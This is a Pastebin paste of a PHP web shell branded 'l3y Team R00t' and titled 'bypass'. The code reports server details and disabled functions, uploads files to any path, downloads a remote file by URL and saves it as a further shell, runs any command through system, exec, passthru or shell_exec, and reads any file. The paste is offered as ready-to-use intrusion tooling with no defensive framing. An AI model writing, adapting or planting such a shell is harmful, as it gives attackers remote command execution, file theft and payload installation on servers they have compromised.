Advertisement
Guest User

bypass ..

a guest
Feb 12th, 2014
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.82 KB | None | 0 0
  1. <title>.:: l3y Team R00t ::. </title>
  2. <center>
  3. <p align="center"><font face="Arial" color="red"><b>Bypass ...</font></b></u>
  4. <b><font size="2" face="Tahoma">
  5. <br>
  6. <hr width=70%>
  7. <br>
  8. <?php
  9. echo  'Uname -a: '.php_uname().'<br><br></b>';
  10. if(ini_get('safe_mode') == '1'){
  11. echo '<b><font face="Tahoma" size="2" color="black"> Safe mode:</font><b class="tul"><font face="Tahoma" color="red"> ON&nbsp;</font></font></b>|';
  12. }
  13. else{
  14. echo '<b><font face="Tahoma" size="2" color="black"> Safe mode:</font><b class="tul"><font color="00bb00"> OFF&nbsp;</font></b>|';
  15. }
  16. if (exec('perl -h')){
  17. echo '<b><font face="Tahoma" size="2" color="black"> Perl:</font><b class="tul"><font color="00bb00"> ON&nbsp;</font></b>|';
  18. }
  19. else{
  20. echo '<b><font face="Tahoma" size="2" color="black"> Perl:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>';
  21. }
  22. echo '
  23. <br><br><font face="Tahoma" color="black" size="2pt"><b>Disable Function :
  24. <form method="POST">
  25. <input name="pateni" type="hidden" value="sikat">';
  26. if(''==($func=@ini_get('disable_functions')))
  27. {
  28. echo "<font color=#00bb00>No Security for Function</font>";
  29. }else{
  30. echo '<font color=#d0d000>[ <blink>Please Bypass First!</blink> ]</font><br>';
  31. echo "<font color=red>$func</font>";
  32. }
  33. ?>
  34. <br><br>
  35. <hr width=70%>
  36. <u><p align="center"><font face="Arial" color="#808080"><b>Upload or Get ...</b></u>
  37. <br><br>
  38. <small>
  39. <?php
  40. echo '<form method="post" enctype="multipart/form-data">
  41. <input name="file" type="file" />
  42. <input name="path" type="text" value="'.getcwd().'" />
  43. <input type="submit" value="Up" />
  44. </form>';
  45. if(isset($_FILES['file'])&&isset($_POST['path'])){
  46.     if(move_uploaded_file($_FILES['file']['tmp_name'],$_POST['path'].'/'.$_FILES['file']['name'])){
  47.         echo '<font face="Tahoma" size="2" color="green">File Upload Done.</font><br />';
  48.     }else{
  49.         echo '<font face="Tahoma" size="2" color="red">File Upload Error.</font><br />';
  50.     }
  51.    
  52. }
  53. ?>
  54. <?php
  55. echo '<form method="POST">';
  56. echo '<br>';
  57. echo '<input type="text" name="file">
  58. <input type="submit" value="Get File"></p>';
  59. $install = $_POST['file'];
  60. $file = file_get_contents($install);
  61. $b = fopen('insta!l.php', 'w'); // Change install.php To Name Shell U Want :D
  62. fwrite($b,$file);
  63. fclose($b);
  64. if($install) {
  65. echo '<br><p align="center"><font face="Tahoma" size="2" color="#808080">Done !</font></p>
  66. <p align="center"><font color="#505B67" face="Tahoma" size="2">Open insta!l.php</font></p><br>';
  67.  }else {
  68.     echo '<font face="Tahoma" size="2" color="#CC0000">Error :/ <br> But Check File
  69. Maybe Downloaded ..</font>'; }
  70. echo '<p align="center" dir="ltr"><font face="Tahoma" style="font-size: 9pt">#&nbsp;
  71. Ex : <font color="#454545">http://site.com/shell.txt</font></font></p>';
  72. ?>
  73. </small>
  74. <u><p align="center"><font face="Arial" color="#808080"><b>Exec or Read ...</b></u>
  75. <br><br>
  76. <?php
  77. echo "
  78. <form method='post' />
  79. <input type='text' name='command' value='ls -la' />
  80. <input type='submit' value='Execute' />
  81. <select name='xsec'>
  82.    <option>system</option>
  83.    <option>exec</option>
  84.    <option>passthru</option>
  85.     <option>shell_exec</option>
  86. </select><br><pre>
  87. ";
  88. $command = base64_encode($_POST['command']);
  89. if($_POST['xsec'] == 'system') {
  90.     $system = system (base64_decode($command));
  91.     echo $system;
  92. }
  93. if($_POST['xsec'] == 'exec') {
  94.     $exec = exec(base64_decode($command));
  95.     echo $exec;
  96. }
  97. if($_POST['xsec'] == 'passthru'){
  98.     $pass = passthru(base64_decode($command));
  99.     echo $pass;
  100. }
  101. if($_POST['xsec'] == 'shell_exec'){
  102.     $shell_exec = shell_exec(base64_decode($command));
  103.     echo $shell_exec;
  104. }
  105. ?>
  106. <br>
  107. <input type="text" name="file" size="16" /> <input type="submit" value="read" name="start" /> </form>
  108. <br>
  109. <? if($_POST['start']){
  110. $fil=$_POST['file'];
  111. echo"<textarea cols='30' rows='20'>";
  112. $all=strip_tags(readfile($fil)); echo"<textarea>"; }
  113. ?>
  114. <hr width=70%>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement